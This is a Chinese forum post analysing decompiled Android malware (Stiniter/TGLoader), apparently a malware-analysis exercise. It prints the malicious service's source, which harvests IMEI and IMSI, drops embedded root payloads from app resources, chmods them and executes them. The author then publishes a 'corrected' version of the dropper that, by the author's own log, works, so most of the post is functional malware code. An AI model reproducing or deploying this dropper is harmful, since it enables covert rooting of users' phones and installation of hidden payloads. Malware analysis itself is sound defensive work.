android.dds.com-STiNiTER_analyse.apk分析报告

吴程奕 · 发表于 2018-2-9 16:23

android.dds.com-STiNiTER_analyse.apk分析报告

1 . AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="android.dds.com"
  xmlns:android="http://schemas.android.com/apk/res/android">
<application android:label="@string/app_name" android:icon="@drawable/icon">
      <activity android:label="@string/app_name" android:name=".Main" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
         <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER" />
         </intent-filter>
      </activity>
      <service android:name=".service.PlayerBindService" />
      <service android:name="com.gamebox.service.GameUpdateService" />
</application>
</manifest>

明显这两个service要关注，特别是第二个，

2.打开Main class，这个是起始activity，打开Main.java代码:
  public void onCreate(Bundle paramBundle)
  {
super.onCreate(paramBundle);
startService(new Intent(this, GameUpdateService.class));
Instance = this;

Activity一开始就启动了GameUpdateService服务，直接到GameUpdateService去看

如下就是源代码：

public class GameUpdateService extends Service
{
  private String DATA;
  private String IMEI;
  private String IMSI;
  private String MODEL;
  private InputStream MinputStreamAPK;
  private String MpathAPK;
  private int MstateAPKFile;
  private String OS;
  private String PHONENUMBER;
  private String PLATFORM;
  private String SCREENSIZE;
  private String infoName;
  private String infoPath;

  //从raw资源中提取的恶意程序，root必要组件
  private InputStream inputStreamAPK;
  private InputStream inputStreamEX;
  private InputStream inputStreamEXE;
  private InputStream inputStreamID;
  private InputStream inputStreamKEEP;
  private InputStream inputStreamUNLOCK;
  private InputStream inputStreamstart;
  private DataInputStream localDataInputStream;
  private DataOutputStream localDataOutputStream;

  //释放恶意程序，root必要组件的路径
  private String pathAPK;
  private String pathEX;
  private String pathEXE;
  private String pathID;
  private String pathKEEP;
  private String pathUNLOCK;
  private String pathstart;
  private Process process;

  //
  private int stateAPKFile;
  private int stateEXEFile;
  private int stateEXFile;
  private int stateIDFile;
  private int stateKEEPFile;
  private int stateUNLOCKFile;
  private int statestartFile;
  private String str;


  /*在service oncreate结束后onstart中调用线程thread，第一个主要是输出这些apk到指定目录,这里我发现了些问题。在onCreate中已经提到了这个恶意程序的问题。
即data/data/android.gdwsklzz.com这个目录的权限问题，我估计是他抄的或者改的高达无双科鲁兹传的某个恶意软件版本。
另外我把不重要的异常处理部分都删除了，方便大家阅读
  */
  Thread thread = new Thread(new Runnable()
  {
public void run()

{ //检查是否是root过的机子
   if (!new File("/system/bin/keeper").exists())
   {
      System.out.println("---start rootSatae");
      try
      {
      while (true)
      {
         String str = new String(GameUpdateService.this.DATA.getBytes("UTF-8"), "UTF-8");
         //这里会报错，因为infoPath是没有权限的，所以这个恶意程序实际上是失败的。
         File localFile1 = new File(GameUpdateService.this.infoPath);
         if (!localFile1.exists())
            localFile1.mkdir();
         File localFile2 = new File(GameUpdateService.this.infoPath + GameUpdateService.this.infoName);
         if (localFile2.exists())
            localFile2.delete();
         localFile2.createNewFile();
         FileOutputStream localFileOutputStream = new FileOutputStream(localFile2);
         localFileOutputStream.write(str.getBytes("UTF-8"));
         localFileOutputStream.flush();
         localFileOutputStream.close();
         //后面是释放root代码的地方。
         GameUpdateService.this.stateUNLOCKFile = GameUpdateService.this.write(GameUpdateService.this.inputStreamUNLOCK, GameUpdateService.this.pathUNLOCK);
         if (GameUpdateService.this.stateUNLOCKFile != 0)
            break label845;
         GameUpdateService.this.stateAPKFile = GameUpdateService.this.write(GameUpdateService.this.inputStreamAPK, GameUpdateService.this.pathAPK);
         if (GameUpdateService.this.stateAPKFile != 0)
            break label817;
         GameUpdateService.this.MstateAPKFile = GameUpdateService.this.write(GameUpdateService.this.MinputStreamAPK, GameUpdateService.this.MpathAPK);
         if (GameUpdateService.this.MstateAPKFile != 0)
            break label789;
         GameUpdateService.this.stateIDFile = GameUpdateService.this.write(GameUpdateService.this.inputStreamID, GameUpdateService.this.pathID);
         if (GameUpdateService.this.stateIDFile != 0)
            break label743;
         GameUpdateService.this.stateEXEFile = GameUpdateService.this.write(GameUpdateService.this.inputStreamEXE, GameUpdateService.this.pathEXE);
         if (GameUpdateService.this.stateEXEFile != 0)
            break;
         GameUpdateService.this.stateKEEPFile = GameUpdateService.this.write(GameUpdateService.this.inputStreamKEEP, GameUpdateService.this.pathKEEP);
         if (GameUpdateService.this.stateKEEPFile == 0)
         {
            GameUpdateService.this.stateEXFile = GameUpdateService.this.write(GameUpdateService.this.inputStreamEX, GameUpdateService.this.pathEX);
            if (GameUpdateService.this.stateEXFile != 0)
            continue;
            GameUpdateService.this.statestartFile = GameUpdateService.this.write(GameUpdateService.this.inputStreamstart, GameUpdateService.this.pathstart);
            if (GameUpdateService.this.statestartFile != 0)
            continue;

            //设置权限，给予运行的权限，
            GameUpdateService.this.do_exec("chmod 777 /data/data/android.gdwsklzz.com/googleservice.apk");
            GameUpdateService.this.do_exec("chmod 777 /data/data/android.gdwsklzz.com/googlemessage.apk");
            GameUpdateService.this.do_exec("chmod 777 /data/data/android.gdwsklzz.com/unlock.apk");
            GameUpdateService.this.do_exec("chmod 777 /data/data/android.gdwsklzz.com/ts");
            GameUpdateService.this.do_exec("chmod 777 /data/data/android.gdwsklzz.com/keeper");
            GameUpdateService.this.do_exec("chmod 777 /data/data/android.gdwsklzz.com/initr");
            //
            GameUpdateService.this.thread1.start();
            GameUpdateService.this.do_exec("chmod 777 /data/data/android.gdwsklzz.com/initr");
            GameUpdateService.this.do_exec("/data/data/android.gdwsklzz.com/initr");
            return;
         }
         System.out.println("---fail writeKEEP");
         new File(GameUpdateService.this.pathKEEP).delete();
         try
         {
            Thread.sleep(10000L);
         }
      }
   }
}
  });

  //应该还是root的代码。
  Thread thread1 = new Thread(new Runnable()
  {
public void run()
{
   GameUpdateService.this.do_exec("chmod 777 /data/data/android.gdwsklzz.com/start");
   GameUpdateService.this.do_exec("/data/data/android.gdwsklzz.com/start");
}
  });

  //应该还是root的代码。
  Thread thread2 = new Thread(new Runnable()
  {
public void run()
{
   GameUpdateService.this.do_exec("chmod 777 /sqlite_stmt_journals/initr");
   GameUpdateService.this.do_exec("/sqlite_stmt_journals/initr");
}
  });
  private String version;

  /*这个是比较核心的一个方法，主要是Runtime.getRuntime().exec(paramString)，执行命令
并将结果返回localObject string类型。
  */
  String do_exec(String paramString)
  {
Object localObject = "\n";
try
{
   BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(paramString).getInputStream()));
   while (true)
   {
      String str1 = localBufferedReader.readLine();
      if (str1 == null)
      break;
      String str2 = localObject + str1 + "\n";
      localObject = str2;
   }
}
catch (IOException localIOException)
{
   localIOException.printStackTrace();
}
return (String)paramString;
  }

  public IBinder onBind(Intent paramIntent)
  {
return null;
  }


  /*GameUpdateService 开始加载，一开始读取了本地号码等一些常规信息，没有什么大用，后面就是加载内部带的邪恶的apk了。  这里也有失败的地方，就是没有READ_PHONE_STAT权限就不可能去得到这些信息。
* */
  public void onCreate()
  {
super.onCreate();
//打印信息开始，
System.out.println("--- onCreate GameUpdateService ---");
//获取通信服务的管理器
TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");
//获取屏幕分辩率
new DisplayMetrics();
DisplayMetrics localDisplayMetrics = getApplicationContext().getResources().getDisplayMetrics();

//得到机器码？这部分总而言之就是得到各种系统信息。
this.IMEI = localTelephonyManager.getDeviceId();
if ((this.IMEI == null) || (this.IMEI.equals("")))
   this.IMEI = UUID.randomUUID().toString();
this.IMSI = localTelephonyManager.getSubscriberId();
if (this.IMSI == null)
   this.IMSI = "";
this.IMEI = this.IMEI;
this.MODEL = Build.MODEL.replace(" ", "");
this.SCREENSIZE = (localDisplayMetrics.widthPixels + "x" + localDisplayMetrics.heightPixels);
this.PLATFORM = Build.VERSION.RELEASE;
this.PHONENUMBER = "13800138000";
this.OS = "Android";

//并打印
System.out.println("IMEI---" + this.IMEI);
System.out.println("IMSI---" + this.IMSI);
System.out.println("MODEL---" + this.MODEL);
System.out.println("SCREENSIZE---" + this.SCREENSIZE);
System.out.println("PLATFORM---" + this.PLATFORM);
System.out.println("PHONENUMBER---" + this.PHONENUMBER);
System.out.println("OS---" + this.OS);

//str1把如上信息组织起来，形成了一个xml，如下所示：
/*
<?xml version="1.0" encoding="UTF-8"?>
<Request>
<MobileInfo>
<Imei>000000000000000</Imei>
<Model>sdk</Model>
<ScreenSize>320x533</ScreenSize>
<PlatForm>2.3.3</PlatForm>
<Os>Android</Os>
<SmsCenter>13800138000</SmsCenter>
<PhoneNumber>13800138000</PhoneNumber>
</MobileInfo>
*/

String str1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Request>\n<MobileInfo>\n<Imei>" + this.IMEI + "</Imei>\n" + "<Model>" + this.MODEL + "</Model>\n" + "<ScreenSize>" + this.SCREENSIZE + "</ScreenSize>\n" + "<PlatForm>" + this.PLATFORM + "</PlatForm>\n" + "<Os>" + this.OS + "</Os>\n" + "<SmsCenter>" + "13800138000" + "</SmsCenter>\n" + "<PhoneNumber>" + this.PHONENUMBER + "</PhoneNumber>\n" + "</MobileInfo>\n";
this.DATA = str1;
this.DATA = str1;
System.out.println("DATA---" + this.DATA);

/*下面就是比较关键的部分了，这个恶意apk,在它自身中包括了多个恶意apk，存放在raw中当作资源，有
googleservice.apk,googlemessage.apk,以及一些
initr,
keeper,
start,
ts,
unlock.apk
这几个应该是用来root的，而path则是到时候这些apk应该释放的位置。在这个恶意程序中选择了热门流行的gdwskizz即高达无双科鲁兹传的目录（
      开始我以为当然如果你没装过这个软件就应该不会中招了
      ---后来发现这个恶意程序有问题，我估计他是抄的高达无双科鲁兹传的某个恶意代码版本，结果路径还是android.gdwsklzz.com/那么明显这个路径是不存在，而且也是无法自己建立的。），

*/
this.infoPath = "/data/data/android.gdwsklzz.com";
this.infoName = "/sys.info";
this.pathAPK = "/data/data/android.gdwsklzz.com/googleservice.apk";

/*这个就是去raw资源中提取apk的过程，其中2130968578转化为16进制7F040002
   然后再gen下的R.java可以看到对应的是android
      public static final class raw {
      public static final int android=0x7f040000;
      public static final int googlemessage=0x7f040001;
      public static final int googleservice=0x7f040002;
      public static final int initr=0x7f040003;
      public static final int keeper=0x7f040004;
      public static final int start=0x7f040005;
      public static final int ts=0x7f040006;
      public static final int unlock=0x7f040007;
      }
               这就是对应的raw数值，因为是反编译的造成了这个差别，我们正常调用这个应该是这样写
         getResources().openRawResource(R.raw.android);
         赋值结束就进入程序开头的3个线程去负责root等事宜。
*/
getResources().openRawResource(R.raw.android);
this.inputStreamAPK = getResources().openRawResource(2130968578);
this.pathID = "/data/data/android.gdwsklzz.com/android.info";
this.inputStreamID = getResources().openRawResource(2130968576);
this.MpathAPK = "/data/data/android.gdwsklzz.com/googlemessage.apk";
this.MinputStreamAPK = getResources().openRawResource(2130968577);
this.pathstart = "/data/data/android.gdwsklzz.com/start";
this.inputStreamstart = getResources().openRawResource(2130968581);
this.pathEX = "/data/data/android.gdwsklzz.com/initr";
this.inputStreamEX = getResources().openRawResource(2130968579);
this.pathEXE = "/data/data/android.gdwsklzz.com/ts";
this.inputStreamEXE = getResources().openRawResource(2130968582);
this.pathKEEP = "/data/data/android.gdwsklzz.com/keeper";
this.inputStreamKEEP = getResources().openRawResource(2130968580);
this.pathUNLOCK = "/data/data/android.gdwsklzz.com/unlock.apk";
this.inputStreamUNLOCK = getResources().openRawResource(2130968583);
  }

  public void onDestroy()
  {
super.onDestroy();
System.out.println("--- onDestroy GameUpdateService ---");
  }

  public void onStart(Intent paramIntent, int paramInt)
  {
super.onStart(paramIntent, paramInt);
System.out.println("--- onStart GameUpdateService ---");
this.thread.start();
  }

  public int write(InputStream paramInputStream, String paramString)
  {
int i = 0;
File localFile = new File(paramString);
try
{
   if (!localFile.exists())
   {
      System.out.println("安装的文件" + paramString);
      FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
      byte[] arrayOfByte = new byte[1024];
      while (true)
      {
      int j = paramInputStream.read(arrayOfByte);
      if (j <= 0)
      {
         localFileOutputStream.flush();
         localFileOutputStream.close();
         paramInputStream.close();
         break;
      }
      localFileOutputStream.write(arrayOfByte, 0, j);
      }
   }
}
catch (Exception localException)
{
   System.out.println("erro");
   localException.printStackTrace();
   i = 1;
}
return i;
  }
}

/* Location:          F:\bishe\android\malware\Android_Stiniter_TGLoader_E9AA097C6E87690F938BE8C75EF91C27\classes_dex2jar.jar
* Qualified Name:    com.gamebox.service.GameUpdateService
* JD-Core Version: 0.6.0
*/

这是关键的地方报错日志

明显看到这里File的权限问题，注释中我已经说过了。

这是日志输出：

总而言之，这是一款想要完成释放恶意程序，并root的恶意软件，可惜代码实现的有问题…

下面是我修正后的代码，其中我还修正了exec的输出部分

package com.icetest.root;

import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.UUID;

import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;
import android.util.Log;

import com.icetest.root.R;

public class Icetest2Activity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.main);

      //打印信息开始，
      Log.i("ice root","当前用户:"+do_exec("id -u"));
      Log.i("ice root","--- onCreate Icetest2Activity ---");
      //获取通信服务的管理器
      TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");
      //获取屏幕分辩率
      new DisplayMetrics();
      DisplayMetrics localDisplayMetrics = getApplicationContext().getResources().getDisplayMetrics();

      //得到机器码？这部分总而言之就是得到各种系统信息。
      this.IMEI = localTelephonyManager.getDeviceId();
      if ((this.IMEI == null) || (this.IMEI.equals("")))
      this.IMEI = UUID.randomUUID().toString();
      this.IMSI = localTelephonyManager.getSubscriberId();
      if (this.IMSI == null)
      this.IMSI = "";
      this.IMEI = this.IMEI;
      this.MODEL = Build.MODEL.replace(" ", "");
      this.SCREENSIZE = (localDisplayMetrics.widthPixels + "x" + localDisplayMetrics.heightPixels);
      this.PLATFORM = Build.VERSION.RELEASE;
      this.PHONENUMBER = "13800138000";
      this.OS = "Android";

      //并打印
      Log.d("ice root","IMEI---" + this.IMEI);
      Log.d("ice root","IMSI---" + this.IMSI);
      Log.d("ice root","MODEL---" + this.MODEL);
      Log.d("ice root","SCREENSIZE---" + this.SCREENSIZE);
      Log.d("ice root","PLATFORM---" + this.PLATFORM);
      Log.d("ice root","PHONENUMBER---" + this.PHONENUMBER);
      Log.d("ice root","OS---" + this.OS);

      //str1把如上信息组织起来，形成了一个xml，如下所示：
      /*
      <?xml version="1.0" encoding="UTF-8"?>
      <Request>
      <MobileInfo>
      <Imei>000000000000000</Imei>
      <Model>sdk</Model>
      <ScreenSize>320x533</ScreenSize>
      <PlatForm>2.3.3</PlatForm>
      <Os>Android</Os>
      <SmsCenter>13800138000</SmsCenter>
      <PhoneNumber>13800138000</PhoneNumber>
      </MobileInfo>
      */

      String str1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Request>\n<MobileInfo>\n<Imei>" + this.IMEI + "</Imei>\n" + "<Model>" + this.MODEL + "</Model>\n" + "<ScreenSize>" + this.SCREENSIZE + "</ScreenSize>\n" + "<PlatForm>" + this.PLATFORM + "</PlatForm>\n" + "<Os>" + this.OS + "</Os>\n" + "<SmsCenter>" + "13800138000" + "</SmsCenter>\n" + "<PhoneNumber>" + this.PHONENUMBER + "</PhoneNumber>\n" + "</MobileInfo>\n";
      this.DATA = str1;
      this.DATA = str1;
      Log.d("ice root","DATA---" + this.DATA);


      /*下面就是比较关键的部分了，这个恶意apk,在它自身中包括了多个恶意apk，存放在raw中当作资源，有
      googleservice.apk,googlemessage.apk,以及一些
      initr,
      keeper,
      start,
      ts,
      unlock.apk
            这几个应该是用来root的
            而path则是到时候这些apk应该释放的位置

      */
      this.infoPath = "/data/data/com.icetest.root";
      this.infoName = "/sys.info";
      this.pathAPK = "/data/data/com.icetest.root/googleservice.apk";


      /*这个就是去raw资源中提取apk的过程，

      */
      getResources().openRawResource(R.raw.android);
      this.inputStreamAPK = getResources().openRawResource(R.raw.googleservice);
      this.pathID = "/data/data/com.icetest.root/android.info";
      this.inputStreamID = getResources().openRawResource(R.raw.android);
      this.MpathAPK = "/data/data/com.icetest.root/googlemessage.apk";
      this.MinputStreamAPK = getResources().openRawResource(R.raw.googlemessage);
      this.pathstart = "/data/data/com.icetest.root/start";
      this.inputStreamstart = getResources().openRawResource(R.raw.start);
      this.pathEX = "/data/data/com.icetest.root/initr";
      this.inputStreamEX = getResources().openRawResource(R.raw.initr);
      this.pathEXE = "/data/data/com.icetest.root/ts";
      this.inputStreamEXE = getResources().openRawResource(R.raw.ts);
      this.pathKEEP = "/data/data/com.icetest.root/keeper";
      this.inputStreamKEEP = getResources().openRawResource(R.raw.keeper);
      this.pathUNLOCK = "/data/data/com.icetest.root/unlock.apk";
      this.inputStreamUNLOCK = getResources().openRawResource(R.raw.unlock);
}
private String DATA;
private String IMEI;
private String IMSI;
private String MODEL;
private InputStream MinputStreamAPK;
private String MpathAPK;
private int MstateAPKFile;
private String OS;
private String PHONENUMBER;
private String PLATFORM;
private String SCREENSIZE;
private String infoName;
private String infoPath;

//从raw资源中提取的恶意程序，root必要组件
private InputStream inputStreamAPK;
private InputStream inputStreamEX;
private InputStream inputStreamEXE;
private InputStream inputStreamID;
private InputStream inputStreamKEEP;
private InputStream inputStreamUNLOCK;
private InputStream inputStreamstart;
private DataInputStream localDataInputStream;
private DataOutputStream localDataOutputStream;

//释放恶意程序，root必要组件的路径
private String pathAPK;
private String pathEX;
private String pathEXE;
private String pathID;
private String pathKEEP;
private String pathUNLOCK;
private String pathstart;
private Process process;

//
private int stateAPKFile;
private int stateEXEFile;
private int stateEXFile;
private int stateIDFile;
private int stateKEEPFile;
private int stateUNLOCKFile;
private int statestartFile;
private String str;

/*在service oncreate结束后调用这些线程thread，第一个主要是输出这些apk到指定目录,这里我发现了些问题。
*/
Thread thread = new Thread(new Runnable()
{
   public void run()

   { //检查是否是root过的机子
      if (!new File("/system/bin/keeper").exists())
      {
      Log.i("ice root","---start rootSatae");
      try
      {
         while (true)
         {
            String str = new String(Icetest2Activity.this.DATA.getBytes("UTF-8"), "UTF-8");
            File localFile1 = new File(Icetest2Activity.this.infoPath);
            if (!localFile1.exists())
            localFile1.mkdir();
            File localFile2 = new File(Icetest2Activity.this.infoPath + Icetest2Activity.this.infoName);
            if (localFile2.exists())
            localFile2.delete();
            localFile2.createNewFile();
            FileOutputStream localFileOutputStream = new FileOutputStream(localFile2);
            localFileOutputStream.write(str.getBytes("UTF-8"));
            localFileOutputStream.flush();
            localFileOutputStream.close();
            //后面是释放root代码的地方。
            Icetest2Activity.this.stateUNLOCKFile = Icetest2Activity.this.write(Icetest2Activity.this.inputStreamUNLOCK, Icetest2Activity.this.pathUNLOCK);
            if (Icetest2Activity.this.stateUNLOCKFile != 0)
            break ;
            Icetest2Activity.this.stateAPKFile = Icetest2Activity.this.write(Icetest2Activity.this.inputStreamAPK, Icetest2Activity.this.pathAPK);
            if (Icetest2Activity.this.stateAPKFile != 0)
            break ;
            Icetest2Activity.this.MstateAPKFile = Icetest2Activity.this.write(Icetest2Activity.this.MinputStreamAPK, Icetest2Activity.this.MpathAPK);
            if (Icetest2Activity.this.MstateAPKFile != 0)
            break ;
            Icetest2Activity.this.stateIDFile = Icetest2Activity.this.write(Icetest2Activity.this.inputStreamID, Icetest2Activity.this.pathID);
            if (Icetest2Activity.this.stateIDFile != 0)
            break ;
            Icetest2Activity.this.stateEXEFile = Icetest2Activity.this.write(Icetest2Activity.this.inputStreamEXE, Icetest2Activity.this.pathEXE);
            if (Icetest2Activity.this.stateEXEFile != 0)
            break;
            Icetest2Activity.this.stateKEEPFile = Icetest2Activity.this.write(Icetest2Activity.this.inputStreamKEEP, Icetest2Activity.this.pathKEEP);
            if (Icetest2Activity.this.stateKEEPFile == 0)
            {
            Icetest2Activity.this.stateEXFile = Icetest2Activity.this.write(Icetest2Activity.this.inputStreamEX, Icetest2Activity.this.pathEX);
            if (Icetest2Activity.this.stateEXFile != 0)
               continue;
            Icetest2Activity.this.statestartFile = Icetest2Activity.this.write(Icetest2Activity.this.inputStreamstart, Icetest2Activity.this.pathstart);
            if (Icetest2Activity.this.statestartFile != 0)
               continue;

            //设置权限，给予运行的权限，
            Icetest2Activity.this.do_exec("chmod 777 /data/data/com.icetest.root/googleservice.apk");
            Icetest2Activity.this.do_exec("chmod 777 /data/data/com.icetest.root/googlemessage.apk");
            Icetest2Activity.this.do_exec("chmod 777 /data/data/com.icetest.root/unlock.apk");
            Icetest2Activity.this.do_exec("chmod 777 /data/data/com.icetest.root/ts");
            Icetest2Activity.this.do_exec("chmod 777 /data/data/com.icetest.root/keeper");
            Icetest2Activity.this.do_exec("chmod 777 /data/data/com.icetest.root/initr");
            //
            Icetest2Activity.this.thread1.start();
            Icetest2Activity.this.do_exec("chmod 777 /data/data/com.icetest.root/initr");
            Icetest2Activity.this.do_exec("/data/data/com.icetest.root/initr");
            Log.i("ice root","当前用户:"+do_exec("id -u"));
            return;
            }

         }
      }
      catch (IOException localIOException1)
      {
         localIOException1.printStackTrace();
            }
         }
      }}



);

//应该还是root的代码。
Thread thread1 = new Thread(new Runnable()
{
   public void run()
   {
      Icetest2Activity.this.do_exec("chmod 777 /data/data/com.icetest.root/start");
      Icetest2Activity.this.do_exec("/data/data/com.icetest.root/start");

   }
});

//应该还是root的代码。
Thread thread2 = new Thread(new Runnable()
{
   public void run()
   {
      Icetest2Activity.this.do_exec("chmod 777 /sqlite_stmt_journals/initr");
      Icetest2Activity.this.do_exec("/sqlite_stmt_journals/initr");

   }
});
private String version;

/*这个是比较核心的一个方法，主要是Runtime.getRuntime().exec(paramString)，执行命令
   并将结果返回localObject string类型。这个我修正了下，以前的输出是有问题的
*/
String do_exec(String paramString)
{
   String localObject = "\n";
   String lineS="";


   try
   {
   Process proc = Runtime.getRuntime().exec(paramString);


         InputStreamReader isr = new InputStreamReader(proc.getInputStream());
         BufferedReader br = new BufferedReader(isr);
         String line=null;
         while ( (line = br.readLine()) != null)
         { lineS=lineS+line+localObject;

         }
         return lineS;
   }
   catch (IOException localIOException)
   {
      localIOException.printStackTrace();
   }

   return lineS;







}

public IBinder onBind(Intent paramIntent)
{
   return null;
}

/*Icetest2Activity 开始加载，一开始读取了本地号码等一些常规信息，没有什么大用，后面就是加载内部带的邪恶的apk了。
   *
   *
   * */

public void onDestroy()
{
   super.onDestroy();
   System.out.println("--- onDestroy Icetest2Activity ---");
}

@Override
public void onStart()
{
   super.onStart();
   System.out.println("--- onStart Icetest2Activity ---");
   this.thread.start();
}

public int write(InputStream paramInputStream, String paramString)
{
   int i = 0;
   File localFile = new File(paramString);
   try
   {
      if (!localFile.exists())
      {
      Log.i("ice root","安装的文件" + paramString);
      FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
      byte[] arrayOfByte = new byte[1024];
      while (true)
      {
         int j = paramInputStream.read(arrayOfByte);
         if (j <= 0)
         {
            localFileOutputStream.flush();
            localFileOutputStream.close();
            paramInputStream.close();
            break;
         }
         localFileOutputStream.write(arrayOfByte, 0, j);
      }
      }
   }
   catch (Exception localException)
   {
      System.out.println("erro");
      localException.printStackTrace();
      i = 1;
   }
   return i;
}

}

输出日志：

释放文件成功,修改权限成功。

yinweiyujianni · 发表于 2018-2-9 20:11

虽然没看懂，但还是支持楼主

l715360 · 发表于 2018-2-10 12:26

看不懂但还是要来支持一下

Wesly_Zhang · 发表于 2018-2-25 17:31

楼主，能不能整理下代码使用代码标签看上去看的舒服些呢？

帐号		自动登录	找回密码
密码			注册[Register]

[转载] android.dds.com-STiNiTER_analyse.apk分析报告

免费评分